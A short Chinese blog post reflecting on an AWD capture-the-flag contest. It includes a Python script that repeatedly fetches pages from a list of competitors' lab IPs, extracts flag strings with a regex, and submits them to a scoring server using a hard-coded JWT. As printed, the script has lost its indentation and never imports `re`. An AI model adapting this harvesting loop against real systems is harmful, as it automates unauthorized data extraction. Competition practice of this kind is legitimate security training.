好吧我承认是水文
不过确实上周awd有几个洞不会匹配flag有点难受。。
a=re.findall(r'flag.*?}',x)
一个不会写正则的菜鸡的挣扎
测了下健壮性貌似确实能用-。-
补到当时的exp里就应该是这样
import requests,json,time
url=['http://192.168.7.93:20180','http://192.168.7.93:20280','http://192.168.7.93:20480','http://192.168.7.93:20580','http://192.168.7.93:20780','http://192.168.7.93:20880','http://192.168.7.93:20980','http://192.168.7.93:21180','http://192.168.7.93:21280','http://192.168.7.93:21380','http://192.168.7.93:21480','http://192.168.7.93:21580','http://192.168.7.93:21680','http://192.168.7.93:21780','http://192.168.7.93:21880']
payload='/robots.txt'
while True:
for i in url:
print(i)
try:
b=requests.get(i+payload).text
x=re.findall(r'flag.*?}',b)
headers = {'Content-Type': 'application/json;charset=UTF',
'UserAuth': 'eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJ1c2VybmFtZSI6IlAzcmg0cHMiLCJleHAiOjE1NzU4MzM4MDIsImFkbWluIjpmYWxzZX0.S55xfIUb4sohtMFMAH2_i7tlP76-RMVLO_R26MeQPhs'}
for a in x:
data_json = {
"flag": a
}
#print(i)
print(json.dumps(data_json))
url2 = 'http://172.168.1.25:9369/submission/commit'
res_json = requests.post(url2, data=json.dumps(data_json), headers=headers)
print(res_json.text)
except Exception as e:
print('fail')
pass
time.sleep(301)
这次打完比赛确实有点自闭
虽然队友确实准备不充分 不过我也不是一点问题都没有
归根结底还是菜
下次努力
0 条评论